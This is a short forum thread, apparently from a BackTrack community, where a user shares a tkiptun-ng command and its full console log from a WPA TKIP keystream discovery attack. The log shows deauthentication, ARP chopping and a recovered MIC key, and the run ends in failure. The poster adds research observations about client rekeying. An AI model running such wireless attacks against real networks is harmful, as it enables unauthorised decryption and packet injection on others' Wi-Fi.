Results 1 to 2 of 2

Thread: WPA TKIP RC4 keystream discovery attack Part.2

  1. #1
    Just burned his ISO
    Join Date
    Jun 2008
    Posts
    13

    Default WPA TKIP RC4 keystream discovery attack Part.2

    Run TKIP keystream discovery attack:
    root@bt:~# tkiptun-ng -a 00:18:393:FB:A0 -h 00:1E:65:F8:BA:A8 -m 80 -n 100 wlan0
    Blub 2:38 E6 38 1C 24 15 1C CF
    Blub 1:17 DD 0D 69 1D C3 1F EE
    Blub 3:29 31 79 E7 E6 CF 8D 5E
    08:24:01 Michael Test: Successful
    08:24:01 Waiting for beacon frame (BSSID: 00:18:393:FB:A0) on channel 2
    08:24:01 Found specified AP
    08:24:01 WPA handshake: 00:18:393:FB:A0 captured65:F8:BA:A8] [ 6| 3 ACKs]
    08:24:01 Sending 4 directed DeAuth. STMAC: [00:1E:65:F8:BA:A8] [ 9| 6 ACKs]
    08:24:02 Waiting for an ARP packet coming from the Client...
    Saving chosen packet in replay_src-0329-082409.cap
    08:24:09 Waiting for an ARP response packet coming from the AP...
    Saving chosen packet in replay_src-0329-082409.cap
    08:24:09 Got the answer!
    08:24:09 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

    08:24:31 Offset 81 ( 0% done) | xor = 49 | pt = 40 | 122 frames written in 100055ms
    08:25:47 Offset 80 ( 2% done) | xor = 8B | pt = 2A | 155 frames written in 127108ms
    08:27:03 Offset 79 ( 4% done) | xor = 39 | pt = 01 | 163 frames written in 133657ms
    08:28:18 Offset 78 ( 7% done) | xor = 03 | pt = F4 | 144 frames written in 118079ms
    08:29:34 Offset 77 ( 9% done) | xor = EF | pt = 6F | 157 frames written in 128742ms
    08:30:42 Offset 76 (11% done) | xor = 76 | pt = 95 | 75 frames written in 61500ms
    08:32:01 Offset 75 (14% done) | xor = BA | pt = 67 | 187 frames written in 153338ms
    08:33:06 Offset 74 (16% done) | xor = 03 | pt = 14 | 54 frames written in 44279ms
    08:34:25 Offset 73 (19% done) | xor = 02 | pt = A4 | 190 frames written in 155801ms
    08:35:32 Offset 72 (21% done) | xor = F0 | pt = 3F | 67 frames written in 54943ms
    08:36:52 Offset 71 (23% done) | xor = D5 | pt = 93 | 193 frames written in 158255ms
    08:38:15 Offset 70 (26% done) | xor = 7D | pt = 1D | 230 frames written in 188622ms
    Sleeping for 60 seconds.36 bytes still unknown
    ARP Reply
    Checking 192.168.x.y
    08:38:15 Reversed MIC Key (FromDS): D6:16:91:B7:23:03:E4:25

    Saving plaintext in replay_dec-0329-083815.cap
    Saving keystream in replay_dec-0329-083815.xor
    08:38:15
    Completed in 836s (0.05 bytes/s)

    08:38:15 AP MAC: 00:18:393:FB:9E IP: 192.168.0.1
    08:38:15 Client MAC: 00:1E:65:F8:BA:A8 IP: 192.168.0.103
    08:38:15 Sent encrypted tkip ARP request to the client.
    08:38:15 Wait for the mic countermeasure timeout of 60 seconds.

    Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
    Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
    Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
    Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
    Sent 1172 packets, current guess: 8F...

    Failure: got several deauthentication packets from the AP - you need to start the whole process all over again, as the client got disconnected.

    root@bt:~#

    Conclusions:
    1. Win7/WinXP wpa supplicant ignore AP key renewal timeout and never perform rekeying
    2. It pertain to WM6.0/6.1 with HP iPAQ614C anf HTC Touch viva T2223 smartphones
    3. Linux wpa supplicants perform key renewal according AP settings.

  2. #2
    Just burned his ISO imported_longjidin's Avatar
    Join Date
    Nov 2009
    Posts
    16

    Default

    Good job bro ......keep on research and trying !!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •